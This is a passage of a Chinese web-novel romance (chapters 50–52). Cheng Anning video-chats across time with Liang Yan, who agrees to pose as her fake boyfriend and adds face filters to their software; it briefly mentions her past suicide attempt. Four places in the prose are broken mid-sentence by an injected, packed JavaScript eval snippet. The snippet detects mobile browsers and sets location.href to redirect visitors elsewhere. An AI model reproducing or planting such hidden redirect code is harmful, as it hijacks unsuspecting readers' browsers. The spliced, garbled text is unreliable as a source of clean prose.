还以为她熟悉的人基本都搬离朗月居了，没想到还能遇到熟人！ 程安宁刚走出院门，姚佳柔随即热情伸手抱住她，语气兴奋：“你回来了啊！我说这门怎么开着呢，平时我遛狗经过都看到门关着的，今天看到门开了，还以为是不是有奇怪的人擅自闯进去！” 程安宁这才注意到她手里拎着狗绳，绳子的另一端是一只卷毛小比熊，这会儿吐着舌头，睁着圆溜溜的黑眼珠子，尾巴摇得跟螺旋桨似的，萌得让人心化。 程安宁嘴角微扬，忍不住蹲下来摸了一把狗头，嘴边不忘回道：“嗯，回来看看。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15055821|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“没想到还能看到你，真是太好了！”姚佳柔语气感慨，脸上止不住的笑意，但很快想到了什么，笑意一敛，故作生气地板着脸问：“你是不是换了联系方式了？我之前有一次给你社交账号发消息，结果没有收到任何回复。” 程安宁抱歉笑笑，随即拿出手机：“是换了，我们重新加一下好友吧。” 当时搬离这里的时候，她决心切断过去的一切联络重新开始，也想避免亲戚的骚扰，所以换了新的手机号码。 两人很快交换了新的联系方式。 看着眼前熟悉的面孔，程安宁神色复杂，冷不防脱口道：“佳柔，对不起，当年我那件事吓到你了吧？很抱歉让你看到了那么惊悚的一幕。” 当年她能被抢救过来，是因为姚佳柔还有另一人及时发现泡在浴缸血水里的她。 姚佳柔正在手机上给她备注，闻言，敛起轻松的神色，抬眼看她：“是吓到了，不过不是因为害怕，是你的做法吓到我了，你真傻！” 说到这，心有余悸地拍了拍胸口：“那个时候我差点以为要永远失去你这个朋友了，担心得吃不下饭！” “不过不止我担心，还有楚逸。如果那天不是他拉着我一起到你家看你，可能……”说到这，姚佳柔没再把不好的设想说下去。 程安宁眼睫微颤，神色平静。 当年发现她的另一人就是楚逸。只是对于这位昔日的好朋友，还是不要再见为好。 姚佳柔随之转移话题，语气真诚：“安宁，我知道你一定经历了很痛苦的日子，但是走出来了才能幸福，现在看到你好好的，我真的很开心！” 程安宁嘴角微扬：“谢谢你的惦记。” 是啊，从痛苦里走出来才能幸福。 只是她不想幸福里没有父母的身影。 或许有些人就是足够强大和坚强，能够走出来开启新生活，可是也要允许这个世界上存在着做不到的人。 而她就是。 如果不是事情有所转机，她可能还在浑浑噩噩地混日子，压根摆脱不了那抹深刻入骨的悲痛。 姚佳柔又道：“对了，自从你没再回来后，楚逸一直在打听你的消息，你确定不联系一下他吗？如果你忘了他的联系方式的话，我可以发给你。” 顿了顿，打趣道：“他貌似还在F国进修，如果知道你的行踪，估计马上打飞的回来了。” 程安宁果断摇头：“不用了，如果他问起我的情况，麻烦你跟他说我很好，不必挂念就行了。” 姚佳柔闻言一愣，不由得追问：“你跟他这么久没有联系，是不是吵架啦？都这么多年朋友了，有什么事情说开就好啦，不然怪可惜的。” “没有。”程安宁简洁回道，接着主动告别：“佳柔，我还有事情要忙先走了，改天有空我们约个饭。” 看出她不愿意多说，姚佳柔识趣地没再追问，点头应下：“好，拜拜。” 从朗月居离开后，程安宁这才正式踏上回去的路。 两个小时的车程再加上塞车，等到回到自己住的小窝，已经是晚上七点。 程安宁第一时间给桌上的笔记本电脑充上电，接着把下午从朗月居那儿带走的东西从袋子里取出来。 是一台款式老旧的摄像机和配套的充电器。 这台摄像机里面有许多家庭录像，她以前和父母一起看过，是从她刚出生起就开始录制的，里面除了她之外，自然还有父母的日常影像。 她今天特地带出来，自然是想着平日里有空可以看看。 程安宁连接上配套的充电器，想看看这台摄像机还能不能正常使用。 与此同时，面前的电脑充上电后自动开机了。 程安宁抬眼，没等打开电脑桌面上的视频软件，就看到屏幕上自动弹出一个窗口，一张棱角分明的脸庞出现在眼前。 50.50 视频界面里，和以往等待她上线一样，梁彦把能够和她交流的笔记本电脑放在旁边，注意力则放在另外一台电脑上。 程安宁面上一喜，正打算打开桌面上另外一个视频软件，就看到视频界面里的梁彦恰好转头看了过来。 隔着屏幕，她恰好跟那双漆黑深邃的眼眸撞上视线，心跳不自觉快了一拍。 只是，电脑另一端的梁彦并不知道这番对视，他的视线落在屏幕上，没有马上移开，而是一直沉默地盯着电脑屏幕。 程安宁顿住落在触控板上的手指，看他保持原样不动，有点想笑。 这是在看着视频界面里的自己臭美吗？ 这个想法落下，程安宁很快察觉到电脑另一端的梁彦和以往有些不同。 以往在电脑前与她交流的梁彦，带给她的感觉是平静且温和的，今晚她看到的却是神情和眼神皆散发着森森寒意的梁彦。 隔着屏幕都能感觉到对方周围萦绕着阴沉的低气压。 程安宁眼皮一跳，想起自己昨晚“失踪”了一夜没有上线，顿时笑不出来了。 完了，梁彦估计在心里把她列为“失信人员”了，可能还会猜想她是不是卷钱跑路不管了。这会儿人家还在电脑前，应该是在给她悔改的机会，看她会不会良心发现回头主动认错。要不就是守着电脑的动静，等着批判和臭骂她一顿。 嘶……话说，他应该不会在这台笔记本电脑上安装什么高科技□□，就等着在另一时空随时引爆吧？ 想到这，程安宁倒吸一口凉气，悬在触控板上的手微颤。 眼下最好的方法就是，在对方还没反应过来的时候，捉紧打开电脑上的视频软件道歉和解释清楚。 她想好了，她打算等梁彦从电脑屏幕上移开视线的时候，立刻打开视频软件道歉。 在心里重复演练了接下来做的事情，程安宁深呼吸一口气，紧张地留意电脑另一端梁彦的动静。 额头很是合时宜地滑下一滴汗珠，像电影里需要着重刻画的近景。 程安宁随手抹去汗珠，这才发现回来后还没来得及开风扇，这会儿屋内热得要命，随即拉过桌上的小风扇插上电源。 时间一点点过去，梁彦盯着屏幕的时间越长，程安宁的心就越忐忑。 最终，在她忍不住打哈欠时，电脑另一端的梁彦总算移开视线，把注意力放回另外一台电脑上。 他似乎没有心情处理工作，只是安静地坐在那里。 屏幕的白光照在那张五官深邃的脸庞上，却照出了眼里的冷意。 程安宁呼吸微滞，捉住机会操控电脑上的鼠标指针，迅速点开其中一个视频软件。 屏幕上很快弹出新的窗口界面。 梁彦余光隐约瞥见电脑的动静，倏地转头。 与此同时，程安宁双手合十，闭眼开始道歉：“对不起！我昨天突然接到电话说是我奶奶生病了，第一时间就跟公司请假打车去看望我奶奶了。” “因为事情发生得十分突然，我顾不了太多，第一时间只想赶回去看望我奶奶，所以没办法回来在电脑上给你留言。” “后来我在我奶奶家留宿了一晚，刚刚才回到家，真的真的对不起！我向你道歉！” 像机关枪似的哒哒哒地发射出一连串声响，程安宁嘴巴不带停，把想说的话都说了出来。 她呼吸放缓，竖着耳朵仔细留意电脑另一端的动静，一时间不敢睁开眼睛看梁彦的反应。 只是，随着她的话落下，电脑另一端迟迟没有传来动静。 程安宁有些沉不住气，微掀眼皮，悄悄瞥向电脑屏幕。 只见另外一个视频界面里，梁彦眼也不眨地盯着电脑屏幕，原本锐利的眉眼多了一丝愕然。 她知道，他是在看突然出现的她。 就是一句话不说怪吓人的。 “梁彦？”程安宁小心翼翼地唤了一声。 电脑另一端的梁彦如梦初醒，像紧绷的弦突然回归正常状态，他整个身子往后靠在了座椅靠背上，嗓音如往常般温和：“没事就好。” 刚才发现电脑有了动静后，他的大脑一片空白，甚至不确定是他思虑过重出现幻觉还是真实的。 这番反应在意料之外，程安宁一时没反应过来，“啊？” 电脑另一端随之传来关切的询问：“你奶奶的身体还好吗？” “谢谢关心，没什么大碍。”程安宁回道，顿了顿，忍不住问：“你……不生气吗？” 她知道自己好好解释，一般是能够被理解的，但免不了会被说两句。如果是她遇到这种事情，她是会嘀咕一下的。 只是没想到她心里做好了接受指责的准备，却没想到梁彦的反应如此平静。非要说他情绪方面的起伏的话，也只是不像刚才那样面无表情。 梁彦被问得一愣，眼里泛起困惑，但还是点头轻嗯。 见他不像说谎，程安宁长舒一口气，脸上总算有了笑容，继续以真诚的态度道歉：“真的很抱歉！以后有类似的情况，你一定要相信我不是无缘无故失联的，我肯定是遇到重要的事情没能及时告诉你一声，绝对不可能跑路的。” 她太怕梁彦一气之下不跟她合作了。 屏幕里那道生动的身影一瞬抚平了一整天都处于焦躁状态的心情，梁彦的视线没再从那张脸蛋上移开，会意点头：“嗯，我明白。” 正是知道她不可能跑路，才会因为联系不上她而莫名感到焦灼。 两人间的氛围回到以往的和睦自在。 程安宁在电脑前放松下来，一手撑着下巴，好奇问道：“你昨晚看我没出现，是不是以为我卷钱跑路了？” 梁彦摇头，如实回道：“我以为你是不是出了什么事情。不过还好虚惊一场，你没事就好。” 原来只是担心她是否出事而不是其它吗？程安宁愣了一瞬，隔着屏幕触及那束真诚的眸光，小脸不由得一热。 电脑另一端，男人神色正经，目光不含一丝杂念，她的心却不自觉泛起涟漪。 程安宁局促地从屏幕前错开视线，面上不忘点头轻嗯回应：“谢谢关心。” 冷静冷静！ 人家只是出于朋友之间的担心，不要自作多情！ 默默平复心里躁动的小鹿，程安宁的视线重新回到电脑上，面色如常地转移话题：“我今天下午回来的路上，还去看望了我外婆，后边顺路去了我家一趟。” 她边说边拿起旁边正在充电的摄像机，把它展示在电脑前，自然分享：“我从我家里拿走了这台摄像机，里面记录了不少家庭影像，我想看看它还能不能正常开机。” 梁彦看到了那台摄像机，是老款DV摄像机，机身轻巧便携，放在以前是富人家才有的“玩具”。 程安宁左右捣鼓那台数码摄像机，又道：“不过刚才已经插上电源了，现在没有任何动静，可能是哪里坏了，等送到店里检修好了，就是不知道里面的内容会不会丢失。” 梁彦闻言提议：“这里面应该会有SD卡，你可以取出来放到读卡器里，然后连接到电脑上看看。” 程安宁点点头： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065816|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行，我明天去买一个读卡器和U盘，正好可以给电脑和U盘都保存上一份当做备份。” 她放下摄像机，随口感慨：“朗月居那边变得很冷清，感觉搬走了很多户人家。说来很巧，我下午从我家出来的时候，遇到了一个以前关系不错的朋友，我们重新交换了联系方式，还约好改天有空吃个饭。” 此话一落，梁彦的脑海中闪过一道身影，不禁敛起轻松的神色。 他坐直身子，像进入了警戒的作战状态，脱口而出问：“是哪个朋友？” 是那个跟苍蝇一样烦人，叫楚什么的男生么？ 他跟程安宁认识一段时间了，可以大致看出二十三岁的程安宁生活圈子很简单，并没有那个男生的身影。 他想过两人是不是已经没有联系和往来了，现在突然听到程安宁提起遇到朋友的事情，不自觉想到了那个对她带有别样心思的男生。 没料到他会对这样的话题感兴趣，程安宁诧异之余，弯着眉眼解惑：“是从小玩到大的朋友，我们都住在朗月居，父母之间都认识，以前我们一群小孩子经常互相串门来着。” 从小？父母相互认识？同样住在朗月居？经常串门？梁彦越想越觉得对应上了，一时间没有开口，只是低嗯一声作为回应，心里莫名沉闷。 程安宁没有发现异样，嘴边说着自己接下来的打算：“对了，经过这次我奶奶的事情，我打算跟我老板提辞职算了，不然平时动不动请假不太好，而且也很难兼顾我们的计划和探望家里的老人，我还是偶尔有空的时候做兼职打打散工就行了。” “反正已经决定搬到你家住了，今后不用担心房租的事情，再加上我有一笔小存款，平日里没有大的开销的话够用上一年了，你觉得我这个决定怎么样？” 梁彦点头表示支持，同时给予帮助：“开销方面不够用的话，还有我那张副卡可以使用。” 程安宁眼皮一跳，连忙拒绝：“够的够的！” 住人家的房子还能花人家的钱，听上去像是美梦里才会发生的事情，但是一发生在现实中，她可不敢真的这样做。 说着，程安宁想起忘了跟奶奶外婆说一声已经到家，随即跟电脑另一端的梁彦说了句“稍等”，拿出手机发消息。 手机很快收到回应，是奶奶的一则语音消息。 程安宁随手点开，手机那端传来奶奶慈爱的声音：“安全到家了就好，下次别忘了带你男朋友一块儿过来。” 程安宁无奈一笑，按下语音键回复：“知道啦，我已经跟我男朋友说好了，他也很期待见到您。” 电脑另一端的梁彦听到这番聊天内容，呼吸一滞，垂眸掩住眼里的情绪波动，默默收紧身侧的手。 已经有男朋友了吗？是那个叫楚什么的家伙？ 也是。 人家从小一块儿玩到大的，青梅竹马，知根知底，这么多年的感情不是他这种后来者能比的。 与此同时，程安宁放下手机，重新看向电脑屏幕上那道身影。 平时跟叶思蕾分享日常惯了，她顺势跟梁彦提起今天发生的另一件事情：“我跟我奶奶说我谈了男朋友，下次会带上男朋友一起去看望她。” 梁彦点头低嗯，面上神色如常，语气却不自觉染上违心的僵硬：“挺好的。” 程安宁轻叹一声，仰头往后靠在椅背上，“好什么啊，我骗她的啊，我打算到时候租一个假男友带过去应付一下，希望不会露馅，不然太尴尬了。” 闻言，梁彦倏地抬眼，脱口而出问：“你觉得我可以吗？” 51.51 程安宁没反应过来，疑惑反问：“什么？” 梁彦冷静下来，意识到自己嘴快，但说出去的话就像泼出去的水，没办法收回，他只好厚着脸皮说下去：“我的意思是，如果你需要找个人假扮男朋友的话，我可以帮忙配合。” 没料到他会主动提出帮忙，程安宁诧异挑眉，思考着这个办法的可行性。 梁彦继续发表自荐宣言：“租一个假男友陪你回去的话，存在一定的风险。毕竟社会上鱼龙混杂，万一遇到不靠谱的人，还会增添不必要的麻烦或者危险，所以最好不要领陌生的男人回去。” 程安宁听得认真，赞同点头：“也是。我把这件事情想得太简单了，幸好你提醒了我。” 说着，她就此敲定梁彦为假男友人选：“那我到时回去的话，把这台电脑也带上，然后就跟我奶奶说我男朋友正好出差了，没办法跟我一块儿回去探望，让她用电脑跟你视频通话。” 闻言，梁彦嘴角不自觉上扬，颔首低嗯：“这个办法很好。” 程安宁采纳了他的办法，而不是选择去找她那个什么朋友帮忙，是不是说明她跟那个男生的关系还不及她跟他？ 正在心里暗喜，电脑另一端传来程安宁略显担忧的声音：“不过我奶奶平日里很喜欢关注社会新闻，说不定以前看过和你相关的新闻内容，不知道到时见到你会不会觉得眼熟。” 梁彦给出解决办法：“到时我可以乔装打扮一下，提前准备好假发之类的道具。” 程安宁点点头，“行。” 顿了顿，她随口感慨：“要是跟相机一样有那种夸张美颜的特效就好了，这样开视频的时候一打开特效，外貌直接秒变另外一个人，连亲妈都认不出来的那种。” 闻言，梁彦神色若有所思，问：“是什么样的特效？有参考图吗？” 程安宁以为他没见过，说了句“稍等”，拿起手机捣鼓一下，随后举起手机自拍一张。 做完这些，她把手机上的照片展示在笔记本电脑的摄像头前，同时不忘把自己的脸凑在手机旁做对比：“看到了吗？我在素颜下显得气血不足的脸，都能拍出网红精致脸的样子，连我还没来得及洗的头都能拍成打理后才有的光泽感。这样一对比，是不是完全看不出是同一个人？” 梁彦看得认真，点头。 隔着屏幕，程安宁又给梁彦演示了手机里另外几款化妆特效，直接爆改甜妹辣妹御姐等多种模样，随后不由得感慨：“没有对比就没有伤害，要是真长这样就好了，你说对吧？” 梁彦不认同：“我觉得原来的样子好看。” 特效滤镜里的程安宁，虽然好看，但是像覆着一层厚重的假面，跟真实的她完全像是两个人，远不如呈现在屏幕里的生动娇俏。 程安宁愣了一下，神色微妙，觉得他眼神有点问题。 再想到他先前随意截她在视频里顶着素颜笑得傻里傻气的样子当头像，倒也觉得他做出这样的回答在情理之内。 她放下手机道：“好了，科普完毕，反正就是类似这样的特效。” 梁彦会意点头，转而开口道：“我试试。” 这句话没头没尾的，程安宁神色疑惑：“啊？” 梁彦补充：“我给软件做一下升级。” 闻言，程安宁反应过来，眸光一亮，不确定问道：“你是打算给我们的视频软件增加特效功能吗？” 看着她双眼亮晶晶充满期待的样子，梁彦眼里染上一抹浅笑，点头低嗯：“是的，你明天应该就能看到了。” 得到确认，程安宁神色雀跃：“太好了！” 这就是认识技术大佬的好处吗？随口一提的事情，竟然真的能够实现。这样一来，到时就可以省去额外准备乔装的道具了！ 见两人聊的差不多了，程安宁识趣告别：“我还要打扫卫生和洗澡，明天见啦！” 梁彦颔首应了声“好”，眸底闪过一丝微不可察的眷恋。 随后，随着视频界面的关闭，另一时空的画面和声音也就此消失在眼前。 电脑回到原有的平静，重新联络上的喜悦却还萦绕在心头，梁彦的心一时无法静下来，伸手拿起笔筒旁的毛线小人偶，手指轻抚它的小脑袋。 他从未想过，自己会如此期待一个人的出现，并且会因为那个人的出现而感到高兴。 - 第二天一早，程安宁和往常一样的上班时间到了公司。 等到老板出现，她进办公室主动提起辞职的事情。 老板自然是想要稳定且事少的员工，鉴于她多次请假，这会儿得知她要离职，欣然同意了。 顺利办了离职，程安宁和关系比较好的孙姐打了声招呼便离开公司。 工作的事情解决了，接下来是搬家的事情。 程安宁回到住处，开始打包行李。 东西不算多，空出一天的时间收拾完全是够的。 临近傍晚，屋里除了床上用品和大件物品之外，其余属于她的东西全都整理进两个大箱子里。 合上箱子，程安宁拍了拍手上的灰，总算得以喘口气，肚子也在这个时候发出抗议声。 原本还想着能不能在今天一口气直接完成搬家，这会儿看着外边渐暗的天色，程安宁只好打消这个念头，决定明天再搬。 她重新从箱子里翻出烧水壶和一桶泡面，打算简单应付一下肚子。 不久，端着加满热水的泡面放到桌上，程安宁随手拿了包纸巾压在泡面上，拿起手机查看好姐妹叶思蕾发来的消息。 依旧是工作上的吐槽和日常分享，不过今天多了其它的内容。叶思蕾问她这两天怎么怪怪的，只回复消息却不加入吐槽，问她在忙什么，还问她是不是有什么事情瞒着没说。 程安宁眼皮一跳，不得不佩服叶思蕾的第六感。 这两天她忙得晕头转向，着急忙慌赶回去探望长辈的事情还没来得及跟叶思蕾提上一嘴。 而且临时决定搬家的事情，她还没想好一个令人信服的理由，所以同样没说，辞职的事情也是。 等搬过去了，再好好想办法蒙混过关吧。 随后，程安宁回复了消息，说最近是比较忙，等忙完了再跟她说。 做完这些，程安宁放下手机，目光落在旁边已经充满电的笔记本电脑。 想到梁彦昨晚说的话，她眸光微动，好奇地打开电脑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085563|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 另一时空。 日暮时分，静谧明亮的办公室是流畅不断的键盘敲击声。 一份还未开封的餐盒孤零零地放在桌上一角，梁彦的注意力全在眼前的工作电脑上。 一旁，原本在待机状态下的笔记本电脑悄然亮起屏幕。 梁彦的余光敏锐地捕捉到这一变化，下意识转头。 下一刻，他看到屏幕上弹出一个视频界面，一张熟悉的脸蛋出现在画面里。 键盘上的双手不由得顿住，梁彦滑动椅子，去到那台旧笔记本电脑前。 只见电脑另一端的程安宁正专注地盯着电脑屏幕，鼠标的指针在视频界面游走，似乎在寻找什么东西。 而后，她秀眉微皱，嘀咕道：“在哪里呢？怎么没看到呢？” 见状，梁彦拿回鼠标指针的掌控权，打开另外一个视频软件。 程安宁还没反应过来，眼前的电脑屏幕就弹出另一个视频界面，紧接着，一张帅脸出现在她眼前。 程安宁诧异一瞬，弯起眉眼打招呼：“好巧，没想到你也在电脑前！” 梁彦点头轻嗯一声，开门见山问：“你是在找特效滤镜的功能吗？” 没想到自己刚才猴急的样子被对方看到了，程安宁神色微囧，尴尬笑笑：“是不是还没弄好？我只是刚忙完，闲着没事突然好奇想看看那个功能出现了没，没有要催你的意思。” 梁彦嘴角微扬，温声回道：“没事，你预料得很准，那个功能已经搞定了，只是你那边的视频软件还没更新版本，你可以先看看有没有什么不足的地方需要改进。” 说着，他在电脑上打开自己的视频界面隐藏的功能栏，瞬间展开一个排满特效的页面，底部甚至还可以翻页，尾页数是99。 好家伙，整整99页的特效！ 简直是一个特效滤镜库。 程安宁看在眼里，神色惊奇，随即伸手握拳当话筒做采访状，递到电脑屏幕前：“请问梁总，你是怎么做到在这么短的时间内做出这么多特效滤镜的？” 看到她一本正经做出这样的举动，梁彦失笑，解释道：“其实不难。我们公司出过一款修图软件，里面自带的相机功能有很多特效贴纸，都是我们团队做的。” “我只是把一部分现成的特效，录入这台电脑上的视频软件里了。” 昨晚他问程安宁有关特效的问题，是想知道她指的什么风格的特效滤镜，但是在看了她演示的几款滤镜后，有点摸不透到底哪款特效比较好，索性决定把一堆素材挪过来慢慢挑。 梁彦不忘补上一句：“等你抽空帮我看看哪个特效适合在跟长辈视频通话的时候用，如果这些都不适合的话，我可以再录入新的。” 没料到他在这方面如此用心，程安宁诧异之余，连忙摆手：“已经够多了，肯定有合适的。” 她的要求又不高，只要用的特效能够跟他原先真正的样貌有点区别就行了。 说着，程安宁的视线落在特效滤镜的那一栏，眸光闪了闪：“我这会儿正好有空，现在就逐个给你换到脸上试试！” 她兴冲冲移动鼠标指针，选中其中一款特效：“就它了，‘奶萌小猫’！” 52.52 梁彦还没反应过来，就见视频界面里的自己蒙上一层美颜滤镜。 原本正常肤色的脸白得反光，像相机过曝的那种白，而白色的猫咪胡须和猫耳的特效自动追踪他的脸，薄唇下还带有一颗尖牙特效，原本立体深邃的俊脸在这个特效的加持下多了一丝萌感。 看到这副反差，程安宁扑哧一声，在电脑前放声大笑。 好家伙，帅气内敛精英男，爆改白净甜帅小奶狗！ 这要是让现实中好友看到了，梁彦估计会面临社会性死亡，简称“社死”。 毕竟没有人会想到，一个平日里看上去严肃正经的大佬，居然会在背地里使用这种卖萌特效。 看她在电脑前笑得前仰后合，梁彦无奈勾唇，淡定地给出评价：“安宁，我觉得这个不合适。” 程安宁重新坐直身子，脸上还带着未散的笑意：“是吗？我觉得挺好的。” 说着，她拿起手机，直接对准他的视频界面咔嚓一声：“我帮你拍下来留念，不用谢。” 梁彦还没反应过来，电脑另一端的程安宁已经放下手机，笑嘻嘻地把注意力放回特效界面上：“接下来试一下这个好了，酷帅小狼狗！” 话落，随着她点下特效，视频界面里的梁彦除了白亮的肤色之外，脸上的特效变成了墨镜和两个立耳，脖子上还多了一个铆钉项圈，脸上能看到的只有高挺的鼻子，和在美颜下像涂了一层豆沙色号口红的薄唇。 酷是挺酷的，帅也挺帅，狗也……啊不是，就是看不出有网络上那种小狼狗的感觉，可能是脸上的表情太过正经了。 程安宁短暂且满意地欣赏了一小会儿，接着又开始找下一个特效：“无辜小兔子？看看这个！” 这一次，视频界面里的梁彦多了一个兔子头套，还自带放大双眼的特效，看上去确实无辜又可爱。 程安宁吃吃地笑了两声，切换下一个特效：“乖乖小羊？好像不错，看看。” “诶，贪吃小猪也挺可爱的。” “试试爱心小熊。” “恶魔小怪兽？怪怪的，看看这个！” “……” 梁彦看着视频界面里的自己不断换上各种稀奇古怪的可爱特效，实在是无力吐槽各式各样的自己，再看了看另一个窗口里的程安宁，正乐此不疲地将一个个特效轮着换，仿佛把这当成一场换妆游戏。 最终，在默默陪着她玩了十分钟左右的特效，梁彦轻咳两声，忍不住打断：“安宁，可不可以找一些跟动物无关的特效？我觉得这些都不适合在跟长辈视频通话的事情使用。” 程安宁这才收起玩心，尴尬笑笑：“也是哦，差点忘了正事。” 说着，她开始翻页挑选其它特效，同时念出自己觉得值得一试的特效滤镜：“清纯男大、少年感人夫、慵懒轻熟男、雅痞潮男，你要先试哪一个？” 梁彦：“……” 以前公司开发软件的时候，只想着面向年轻男女这个群体，而特效名称这些细节是其他团队成员负责的，当时他看到后并没有多大的感觉，反正只要符合当下潮流就对了。现在听到这些特效的名称，没想到还怪羞耻的，并且他这会儿还要亲自试用。 梁彦无奈扬眉，“都可以，你决定吧。” 随后，程安宁轮番给他换上这几个滤镜。 本身就长得好看的人，一用上自带美颜的特效，反倒没有原来的样子惊艳，甚至画面里的五官比例有些失调。不过要的就是跟本人的真实样貌有所区别。 最终，看了在特效下多样风格的梁彦，程安宁投了带有黑框眼镜装饰的“清纯男大”特效一票。 看着视频界面里的自己脸色白里透红，薄唇红得像刚吃完小孩，格外晃眼，鼻梁上架着一个黑框眼镜特效，双眼也在滤镜的加持下亮晶晶的，简直像是另外一个人，梁彦静默一瞬，点头选择听取建议。 既然见长辈一事已经提前找到解决办法了，程安宁心里了却一桩难事，这会儿放下心来，才想起旁边泡了好一会儿的泡面。 她眼皮一跳，赶紧把上边的纸巾盒拿开，一手忙着揭开泡面桶的盖子，另一只手拿着塑料叉子搅动里面的汤面，嘴边不忘社交：“我看你后面的背景还在公司，今晚要加班吗？” 梁彦看着她的一举一动，神色若有所思，同时低嗯一声：“待会就回去了。” 顿了顿，他不由得问道：“这是你的晚餐吗？” 程安宁点头，端起面前的泡面桶展示在摄像头前：“是啊，正准备吃呢，这个时间点你应该也差不多要吃晚餐了吧？” 梁彦侧目看向桌上原本被他自动忽略的餐盒，点头低嗯：“是差不多了，公司统一订的餐已经送到我办公室了。” 闻言，程安宁举起手中缠着泡面的叉子，弯着眉眼做出邀请：“那正好一起边吃边聊啊。” “好。”梁彦爽快应邀，起身去拿餐盒。 片刻后，两人隔着电脑分别开动晚餐。 程安宁吃了两口泡面，抬头看着电脑屏幕正要开口，但看到梁彦低头专心吃饭，并且吃相斯文，顿时不好开口打扰，只好继续埋头吃自己的泡面，打算等两人都解决了晚餐再说话。 低头的瞬间，电脑的另一端，梁彦抬眼看向屏幕。 视频界面里，程安宁安静嚼着泡面，端起泡面桶喝了口汤，又放回原位继续吃面。 这不是他第一次看到程安宁吃泡面了。 他想他知道二十三岁的程安宁，比十八岁的程安宁还要瘦上一倍的原因了。 愣神间，屏幕另一端的程安宁抬眼，两人恰好撞上视线。 虽然两人之间的距离不止是隔着一个屏幕，但是电脑里的画面实时变化，给彼此一种正面对面坐着一同用餐的错觉。 程安宁端起泡面桶，桶身微微倾斜，让他看里面的战绩，语气得意：“我快吃完了哦，我们梁总貌似还要加把劲才行。” 梁彦嘴角微扬，谦虚颔首：“我会努力的。” 过了一会儿，两人几乎同一时间吃完了晚餐。 程安宁随手收拾桌上的垃圾，开启饭后谈话：“我今天已经办理了离职，家里的东西也全都收拾好了，明天就能搬进你家了，提前跟你这个屋主说一声。” 梁彦微愣，眸底闪过一抹思量，会意点头：“好。” 程安宁说起另一件要事：“还有，我昨天联系过许杰了，我让他在私底下帮我问贾栋能不能见个面，他答应帮忙，说是这两天会给我答复，等他那边有了新消息我再告诉你。” 昨天她还在奶奶家的时候，抽空躲进房间给许杰打电话说了这个事情，并且继续以她想保持低调为由，提醒许杰不管贾栋答应与否，让贾栋看在梁彦的面子上不要声张。 那会儿她打完电话从房间里出来，就碰见姑姑叔伯一群人坐在客厅等着给她介绍对象，想想真是晦气。 梁彦神色若有所思，淡淡点头：“麻烦你了。” 他最近是不是应该接触一下贾栋，尝试拉近关系？ 谈完事情，两人间陷入短暂的静谧，隔着屏幕相视无言，却也在无形中达成了一种默契。 那个默契就是，只想看着对方，无关其它。 只是以往都是谈完正事就下机，这会儿两人已经没有理由再继续挂着视频软件了。 程安宁尴尬轻咳，率先打破逐渐微妙的氛围：“梁彦，我不打扰你加班了，先拜拜啦。” 梁彦薄唇微动，刚想说自己不忙，但很快反应过来觉得就算说了这样的话又如何，自己没有立场让对方因此停留。 他敛起眸底翻涌的情绪，面上会意点头，同时告知：“我每天都在线，你明天搬过去之后，有什么事情或者遇到什么问题可以随时跟我说。” 闻言，程安宁顿感安心，扬起嘴角朝他挥手：“好，我知道了，明天见。” “明天见。”梁彦的话落下，屏幕上属于程安宁的那个视频窗口随之关闭。 办公室内回到原有的静谧。 他默默关闭了自己的视频界面，在电脑前呆坐一瞬，下秒倏地合上笔记本电脑，利索地收拾杂乱的办公桌。 不一会儿，梁彦提着电脑包离开办公室。 刘志辉正在公共办公区域跟其他人聊天，余光瞥见一道熟悉的身影从一旁走过，随即跟上前，“诶！彦哥！” 梁彦闻声回头，脚步放缓。 “我刚还在跟老贾说你有个一忙起来连口饭都不吃的坏毛病。”刘志辉边说边走到他身边，问：“我刚才给你送到办公室的饭，你没忘记吃吧？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100891|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>梁彦低嗯一声：“已经吃了。” 说话间，两人一前一后走出办公区域。 刘志辉神色诧异，大大咧咧地勾住他的肩膀，打趣道：“行啊你，之前无论我们怎么说你都当耳旁风，现在总算长大了懂事了。” 说着，他发现梁彦往电梯的方向走去，面露疑惑：“你要去哪里？不是说今晚要留在公司加班吗？” 